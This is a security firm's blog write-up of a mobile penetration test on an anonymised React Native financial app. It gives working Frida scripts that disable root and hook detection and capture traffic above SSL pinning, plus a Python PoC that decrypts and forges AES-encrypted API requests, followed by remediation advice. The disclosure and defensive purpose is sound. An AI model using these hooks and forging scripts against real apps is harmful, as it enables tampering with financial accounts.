SecureNexus GRC
SECURENEXUS
  • Home
  • Blog
  • Case Studies
  • About
Get Started
SecureNexus GRCSECURENEXUS

Empowering digital organizations with unified security — through connected insights, trusted expertise, and end-to-end coverage.

A venture of

X-Biz TechVentureswww.xbizventures.com

Services

  • Regulatory Consulting
  • Red Teaming
  • Cloud Security
  • Security Operations
  • Security Training
  • Product Advisory

Products

  • Perimeter (CTEM)
  • Cloud Security Posture Management
  • Vulnerability Management
  • SOVA (SCA)
  • Third Party Risk Management

Company

  • About Us
  • Contact
  • Blog
  • Case Studies

Resources

  • Security Assessment
  • Breach Probability

Contact

[email protected]
+91 1800-266-8575

Certifications & Compliance

Certifications and Empanelment — D.U.N.S Registered, ISO 9001:2015, BQC, IAF, ISO 27001, Nasscom, ESC, CERT-IN Empanelled
Offices

Mumbai (HQ)

118-120 IJMIMA Complex, Mindspace, Malad West, Mumbai 400064

Pune (GCC)

Unit 2-B, 1st Floor, Cerebrum IT Park, Kalyani Nagar, Pune 411014

Mumbai (Tech & Innovation)

315, 3rd Floor, Lodha Supremus, Andheri East, Mumbai 400069

Dubai

M35, Warba Centre, Al Muraqqabat, Deira, Dubai

X-Biz TechVentures

© 2026 X-Biz TechVentures Pvt. Ltd. All rights reserved.

HomeBlogStripping Three Layers of Defense Off a React Native Financial App
Security
Share

Stripping Three Layers of Defense Off a React Native Financial App

Vitish Bhardwaj
2026-07-07
8 min read
frida
reactnative
sslpinningbypass
mobilepentest
Stripping Three Layers of Defense Off a React Native Financial App

A React Native financial app stacked three defenses — RASP root/Frida detection, OkHttp SSL public key pinning, and AES-256-CBC application-layer encryption. All three were bypassed with one 90-line Frida script. RASP checks were hooked to return false, traffic was captured at the React Native networking boundary above the TLS layer, and the hardcoded AES key was extracted from the Hermes bytecode bundle. Every defense relied on secrets shipped inside the APK.

TL;DR

A major financial Android app ships with three security layers: a triple-stack RASP that detects root, Frida, and Xposed; SSL public key pinning at the OkHttp layer; and a custom AES-256-CBC envelope around every API request and response body. We bypassed all three with one 90-line Frida script, recovered the hard-coded AES key from the JavaScript bundle, and could decrypt, tamper, and forge any API request. Every defense relied on secrets shipped inside the APK or checks that run once in a hookable process.

Context

The target is a React Native Android app from a large financial services provider. It handles pension accounts — validating account numbers, setting up investment plans, managing contributions, and processing KYC. All of this flows through a REST API over HTTPS.

The app ships into Hermes bytecode and loads three defensive libraries: a custom root/Frida/Xposed detection class, `RootBeer`, and `react-native-jail-monkey` for RASP; `react-native-ssl-public-key-pinning` for certificate pinning; and a hand-rolled AES-256-CBC wrapper in the JavaScript layer for application-level encryption.

Here's how each layer works under the hood, and how we killed it.

Loading image…
Three concentric security layers wrapping API data — all secrets live inside the APK.
Three concentric security layers wrapping API data — all secrets live inside the APK.

Layer 1: RASP — Root, Frida, and Xposed Detection

What the app does

At startup, before the first screen renders, `MainActivity.onCreate` calls a native module backed by a custom Java class. This class runs six static boolean checks:

Code
// Decompiled from the APK — simplified from smali
public class RootDetector {
    public static boolean a() {
        // Scan default Frida ports (27042, 27015) on localhost
        for (int port : new int[]{27042, 27015}) {
            try { new Socket("127.0.0.1", port).close(); return true; }
            catch (IOException ignored) {}
        }
        return false;
    }

    public static boolean b() {
        // Check for frida-server binary on disk
        return new File("/data/local/tmp/frida-server").exists();
    }

    public static boolean c() {
        // Check known su binary paths
        for (String path : new String[]{
            "/system/bin/su", "/system/xbin/su",
            "/sbin/su", "/system/sbin/su",
            "/su/bin/su", "/data/local/su"
        }) { if (new File(path).exists()) return true; }
        return false;
    }

    public static boolean d() {
        // Check for test-keys build tag (engineering/rooted ROM)
        return "test-keys".equals(Build.TAGS);
    }

    public static boolean e() {
        // Probe for Xposed framework classloader
        try { ClassLoader.getSystemClassLoader().loadClass("de.robv.android.xposed.XposedBridge"); return true; }
        catch (ClassNotFoundException ignored) { return false; }
    }

    public static boolean f() {
        // Additional root binary checks
        for (String bin : new String[]{"magisk", "busybox"}) {
            for (String dir : new String[]{"/system/bin/", "/system/xbin/", "/sbin/"}) {
                if (new File(dir + bin).exists()) return true;
            }
        }
        return false;
    }
}

Separately, the app loads two third-party libraries. `RootBeer` calls into `libtoolChecker.so` via JNI:

Code
// What RootBeer ships — a native check for root indicators
public class RootBeerNative {
    static { System.loadLibrary("toolChecker"); }
    public static native int checkForRoot(); // returns 0 = clean, >0 = rooted
}

And `react-native-jail-monkey` exposes a Java-side `Rooted` check and a constants map consumed by the JavaScript layer:

Java
public class Rooted {
    public static class c {
        public boolean c() {
            // Checks: ro.debuggable, ro.secure, su binaries, test-keys,
            // busybox, magisk paths, supersu.apk, dangerous props
            return isDeviceRooted();
        }
    }
}

public class JailMonkeyModule extends ReactContextBaseJavaModule {
    @Override
    public Map<String, Object> getConstants() {
        Map<String, Object> constants = new HashMap<>();
        constants.put("isJailBroken", new Rooted.c().c());
        constants.put("hookDetected", HookDetection.c());
        constants.put("canMockLocation", MockLocation.c());
        constants.put("AdbEnabled", AdbEnabled.c());
        return constants;
    }
}

If any check fires, the app shows a dismissible alert dialog and calls `System.exit(0)`. The checks run exactly once, at launch, and the app has zero emulator detection — it starts unmodified on a stock Android emulator.

How we bypassed it

Every hookable boolean gets forced to `false`. Three libraries, three hooks:

Code
// ---- Frida script: RASP bypass ----
Java.perform(function () {
    // (1) Custom root detector class — all six checks -> false
    var RootUtils = Java.use('com.target.utils.RootDetector');
    ['a', 'b', 'c', 'd', 'e', 'f'].forEach(function (m) {
        RootUtils[m].implementation = function () { return false; };
    });
    console.log('[+] RootDetector.a..f -> false');

    // (2) RootBeer — native check -> 0 (clean)
    var RB = Java.use('com.scottyab.rootbeer.RootBeerNative');
    RB.checkForRoot.implementation = function () { return 0; };
    console.log('[+] RootBeerNative.checkForRoot -> 0');

    // (3) JailMonkey — override both the method and the constants map
    var JC = Java.use('com.gantix.JailMonkey.Rooted.c');
    JC.c.implementation = function () { return false; };
    var HD = Java.use('com.gantix.JailMonkey.HookDetection.a');
    HD.c.implementation = function () { return false; };

    // Belt-and-suspenders: overwrite the JS-visible constants map
    var JM = Java.use('com.gantix.JailMonkey.JailMonkeyModule');
    JM.getConstants.implementation = function () {
        var m = this.getConstants();
        m.put('isJailBroken', Java.use('java.lang.Boolean').valueOf(false));
        m.put('hookDetected', Java.use('java.lang.Boolean').valueOf(false));
        m.put('canMockLocation', Java.use('java.lang.Boolean').valueOf(false));
        m.put('AdbEnabled', Java.use('java.lang.Boolean').valueOf(false));
        console.log('[+] JailMonkey.getConstants -> all false');
        return m;
    };
});

The `getConstants` override is worth noting. Even if the individual method hooks miss, the JavaScript layer reads its "are we rooted?" answer from that map. Overwriting it at the source means the React Native side never sees a `true`, regardless of what the lower-level checks return.

This layer is thin. But the next one is where it gets interesting.

Layer 2: SSL Public Key Pinning

What the app does

The app uses [`react-native-ssl-public-key-pinning`](https://github.com/susmithkrim/ssl-public-key-pinning). The JavaScript side passes a config map to the native module:

Code
// How the JS layer initializes SSL pinning (reconstructed from the bundle)
import SslPublicKeyPinning from 'react-native-ssl-public-key-pinning';

const pinConfig = {
    "app.target-domain.in": {
        publicKeyHashes: [
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",  // primary cert
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=",  // backup cert
        ],
        expirationDate: "2027-12-31",
        includeSubdomains: true
    }
};

SslPublicKeyPinning.initialize(pinConfig);

On the Java side, `initializeCertificatePinner()` parses this map and builds an OkHttp `CertificatePinner`:

Code
// Decompiled from SslPublicKeyPinningModule.smali
private static void initializeCertificatePinner(ReadableMap config) {
    CertificatePinner.Builder builder = new CertificatePinner.Builder();

    for (String host : config.keySet()) {
        ReadableMap entry = config.getMap(host);
        // Skip expired pinning entries
        if (entry.hasKey("expirationDate") && isExpired(entry.getString("expirationDate")))
            continue;

        boolean includeSubdomains = entry.hasKey("includeSubdomains")
            && entry.getBoolean("includeSubdomains");

        ReadableArray hashes = entry.getArray("publicKeyHashes");
        String[] pins = new String[hashes.size()];
        for (int i = 0; i < hashes.size(); i++) {
            pins[i] = "sha256/" + hashes.getString(i);  // OkHttp pin format
        }

        String pattern = includeSubdomains ? "**." + host : host;
        builder.add(pattern, pins);
    }

    certificatePinner = builder.build();  // static field
}

Then `initializeCustomClientBuilder()` hooks into React Native's networking stack by registering a `CustomClientBuilder`:

Java
private void initializeCustomClientBuilder() {
    if (isCustomClientBuilderInitialized) return;
    isCustomClientBuilderInitialized = true;

    // Grab the existing custom client builder (if another module set one)
    CustomClientBuilder previous = getPreviousCustomClientBuilder();

    // Register a new builder that chains the previous one + attaches our pinner
    NetworkingModule.setCustomClientBuilder((previous, okHttpBuilder) -> {
        if (previous != null) previous.apply(okHttpBuilder);
        if (certificatePinner != null) {
            okHttpBuilder.certificatePinner(certificatePinner);
            okHttpBuilder.addInterceptor(this);  // emits pinning-error event on failure
        }
    });
}

Every `OkHttpClient` the `NetworkingModule` creates now has a `CertificatePinner` attached. If a proxy like Burp or mitmproxy sits between the app and the server with its own CA certificate, OkHttp's `CertificatePinner.check()` sees a mismatch, throws `SSLPeerUnverifiedException`, and the request fails. The custom interceptor catches this and emits a `pinning-error` event back to JavaScript.

How we bypassed it

The standard playbook for beating SSL pinning is to hook `CertificatePinner.check()` and make it a no-op, or swap the `TrustManager` to accept any certificate. Both work here. But there's a simpler path that requires zero interaction with the TLS stack.

React Native's `NetworkingModule.sendRequest()` sits *above* OkHttp. It receives the method, URL, headers, and body as Java objects before they hit the network. `ResponseUtil.onDataReceived()` fires *after* OkHttp has completed the TLS handshake and delivered the bytes. Neither method participates in the TLS layer. Hook these two points and you capture the traffic without ever touching SSL pinning:

Code
// ---- Frida script: traffic capture (above the OkHttp/TLS layer) ----

// (1) Capture outgoing requests at the React Native networking boundary
var NM = Java.use('com.facebook.react.modules.network.NetworkingModule');
NM.sendRequest.implementation = function (method, url, reqId, headers, data,
                                           respType, inc, timeout, withCreds) {
    var body = null;
    try {
        if (data && data.hasKey('string'))
            body = data.getString('string');
    } catch (e) {}
    if (body === null) {
        try { body = data ? data.toString() : 'null'; } catch (e) { body = '?'; }
    }
    console.log('[REQ] ' + method + ' ' + url + '\n      body=' + body);
    return this.sendRequest(method, url, reqId, headers, data, respType, inc, timeout, withCreds);
};
console.log('[+] hooked NetworkingModule.sendRequest');

// (2) Capture incoming responses — also above OkHttp
var RU = Java.use('com.facebook.react.modules.network.ResponseUtil');
RU.onDataReceived.overloads.forEach(function (ov) {
    ov.implementation = function () {
        for (var i = 0; i < arguments.length; i++) {
            var a = arguments[i];
            if (a && a.$className === 'java.lang.String') {
                console.log('[RESP] data=' + a);
            }
        }
        return ov.apply(this, arguments);
    };
});
console.log('[+] hooked ResponseUtil.onDataReceived');

OkHttp's pinning code runs, passes its check against the real server certificate, and delivers the bytes. Our hooks read those bytes one stack frame higher. No certificate to swap, no `CertificatePinner` to unhook. The pinning is correct — we just read the traffic from a place it doesn't protect.

Layer 3: Application-Layer AES-256-CBC Encryption

What the app does

So far we've bypassed the RASP and captured traffic without fighting SSL pinning. But the API bodies still aren't readable — every request and response looks like this:

JSON
{"payload": "b9574778a6a2a93fdb25170918a411f03dc6c111fa366547678698c187fcdb2f22fa33ca675159c343d836b32639081b"}

The app wraps every API body in an AES-256-CBC envelope. The implementation lives in the Hermes bytecode bundle at `assets/index.android.bundle`. Here's the `encrypt` and `decrypt` logic reconstructed from the bundle:

Code
// Reconstructed from Hermes bundle — module 632 (crypto helper),
// consumed by module 624 (axios API client)
var crypto = require('crypto');

// 256-bit key — hard-coded hex string, identical on every install
var KEY = Buffer.from('<32-byte-hex-key-here>', 'hex');

exports.encrypt = function (plaintext) {
    var iv = crypto.randomBytes(16);
    var cipher = crypto.createCipheriv('aes-256-cbc', KEY, iv);
    var encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
    return iv.toString('hex') + encrypted.toString('hex');
};

exports.decrypt = function (payload_hex) {
    var iv = Buffer.from(payload_hex.slice(0, 32), 'hex');
    var ct = Buffer.from(payload_hex.slice(32), 'hex');
    var decipher = crypto.createDecipheriv('aes-256-cbc', KEY, iv);
    var decrypted = Buffer.concat([decipher.update(ct), decipher.final()]);
    return JSON.parse(decrypted.toString('utf8'));
};

The axios client (module 624) installs two interceptors to wire this up transparently:

Code
// Reconstructed — axios interceptors in module 624
var apiClient = axios.create({ baseURL: 'https://app.target-domain.in' });

// Request interceptor: encrypt every outgoing body
apiClient.interceptors.request.use(function (config) {
    if (config.data) {
        config.data = { payload: cryptoHelper.encrypt(JSON.stringify(config.data)) };
    }
    return config;
});

// Response interceptor: decrypt every incoming body
apiClient.interceptors.response.use(function (response) {
    if (response.data && response.data.data) {
        response.data = cryptoHelper.decrypt(response.data.data);
    }
    return response;
});

The wire format is straightforward: 32 hex characters for the random IV, then the ciphertext. The key is a literal 64-character hex string in the bundle, the same across all installs.

How we broke it

Once you've read the hex key out of the bundle, mirroring the encryption is a few lines:

Code
# PoC — mirrors the JS encrypt()/decrypt() with the recovered key
from Crypto.Cipher import AES
import os, json

KEY = bytes.fromhex('<32-byte-hex-key-here>')

def _pad(b):   n = 16 - (len(b) % 16); return b + bytes([n]) * n
def _unpad(b): n = b[-1]; return b[:-n]

def encrypt(plaintext):
    if not isinstance(plaintext, str):
        plaintext = json.dumps(plaintext, separators=(',', ':'))
    iv = os.urandom(16)
    ct = AES.new(KEY, AES.MODE_CBC, iv).encrypt(_pad(plaintext.encode('utf-8')))
    return iv.hex() + ct.hex()

def decrypt(payload_hex):
    iv  = bytes.fromhex(payload_hex[:32])
    ct  = bytes.fromhex(payload_hex[32:])
    pt  = _unpad(AES.new(KEY, AES.MODE_CBC, iv).decrypt(ct)).decode('utf-8')
    try:    return json.loads(pt)
    except: return pt

Confirmation was a round-trip against live captured traffic. With the Frida hooks running, an account number was submitted through the app's login form. The captured payload decrypted cleanly to the exact value entered:

Code
$ python3 poc_break_crypto.py decrypt b9574778a6a2a93fdb25170918a411f03dc6c111fa366547678698c187fcdb2f22fa33ca675159c343d836b32639081b
{"accountNumber": "110011223344"}

The `encrypt` command works the other direction — craft any JSON payload, re-encrypt, POST it. The server accepts it because the format is valid and the key is correct.

Why this layer provides nothing

AES-CBC provides confidentiality but no integrity — tampered ciphertext decrypts to garbage without an error, potentially enabling padding oracle attacks. The app uses no HMAC, no AEAD (GCM, ChaCha20-Poly1305), and no per-session key derivation.

But the core issue is simpler: a symmetric key shipped in the APK provides zero confidentiality against anyone who can extract the bundle. TLS already handles transport security. This layer encrypts nothing the attacker can't read and adds nothing beyond latency.

Loading image…
Disarming RASP checks, intercepting traffic above the TLS layer, extracting the hardcoded AES key from Hermes bytecode.
Disarming RASP checks, intercepting traffic above the TLS layer, extracting the hardcoded AES key from Hermes bytecode.

The Fix

**1. Remove the client-side symmetric encryption.** TLS handles transport. If field-level encryption is genuinely needed, use asymmetric crypto: client holds a public key, server holds the private key. No shared secret in the APK. For request integrity, use server-issued session tokens with HMAC or AEAD.

**2. Move trust decisions server-side.** No client boolean should gate API access. Sensitive endpoints should verify device attestation (Play Integrity, hardware key attestation) before processing. Rate-limit per account, per IP, per device. Uniform responses for valid vs. invalid account numbers. Cap OTP attempts.

**3. Treat client-side RASP as best-effort.** It raises the bar slightly but is never a security boundary. Repeat checks at random intervals, add emulator heuristics, and back it with server-verified attestation, not a local boolean.

Takeaways

Three layers, one failure mode. The RASP runs once in a hookable process. The SSL pinning guards the network layer while the framework delivers the same payloads one abstraction up. The AES wrapper encrypts with a key anyone can read off disk. Each layer is individually sound in isolation. Stacked together, they share the same weakness: every secret and check lives inside the APK. That's not depth — it's the same lock copied three times.

About the Author

Vitish Bhardwaj
Security Researcher

Offensive security practitioner with a broad foundation across the cybersecurity domain, currently diving deep into malware analysis and red team tradecraft.

Related Articles

View All
RoguePlanet: racing Windows Defender's own cleanup into a SYSTEM shell
Security
2026-06-10
10 min read
RoguePlanet: racing Windows Defender's own cleanup into a SYSTEM shell
RoguePlanet turns Microsoft Defender's own remediation workflow into a local privilege escalation, allowing a standard user to race Defender's privileged file operations and overwrite C:\Windows\System32\wermgr.exe with attacker-controlled code. The exploit chains together legitimate Windows features—including oplocks, NTFS junctions, VSS shadow copies, and Windows Error Reporting—to reliably escalate from an unprivileged account to an interactive SYSTEM shell. Despite requiring local code execution and relying on a race condition, the vulnerability affects fully patched Windows 10 and 11 systems and remains unpatched as of June 2026.
Two Attack Vectors, One Publisher: How SecureNexus SOVA Caught a Coordinated npm Typosquat Campaign
Security
2026-05-21
8 min read
Two Attack Vectors, One Publisher: How SecureNexus SOVA Caught a Coordinated npm Typosquat Campaign
A line-by-line analysis of two distinct malware payloads found in four npm typosquat packages: a postinstall dropper with cross-platform RCE, a hidden C2 beacon with TLS-disabled remote execution, and the 14-point sandbox evasion module they share.
NGINX Rift (CVE-2026-42945): An 18-Year-Old Heap Overflow That Puts a Third of the Internet at Risk
Security
2026-05-14
5 min read
NGINX Rift (CVE-2026-42945): An 18-Year-Old Heap Overflow That Puts a Third of the Internet at Risk
A critical heap buffer overflow (CVSS 9.2) in NGINX's rewrite module — sitting undetected since 2008 — allows an unauthenticated attacker to crash or remotely execute code on any NGINX server using rewrite and set directives, with a single crafted HTTP request. Discovered in six hours by an autonomous AI analysis system, the flaw affects every NGINX Open Source release from 0.6.27 through 1.30.0, NGINX Plus R32–R36, and a wide range of F5 products including Kubernetes Ingress Controllers and Gateway Fabric. This post covers the root cause (a two-pass script engine state mismatch), the full exploit chain, a step-by-step lab reproduction using the public PoC, detection guidance, and a prioritized remediation checklist. Patches are available — upgrade to NGINX 1.30.1 or 1.31.0 now.

Perimeter

Intelligence-driven attack surface management

Learn More

VM

Centralized vulnerability management & remediation

Learn More
View all products

Need Expert Security Guidance?

Our cybersecurity experts are here to help you implement the strategies discussed in this article.

Get Expert Consultation Explore Our Products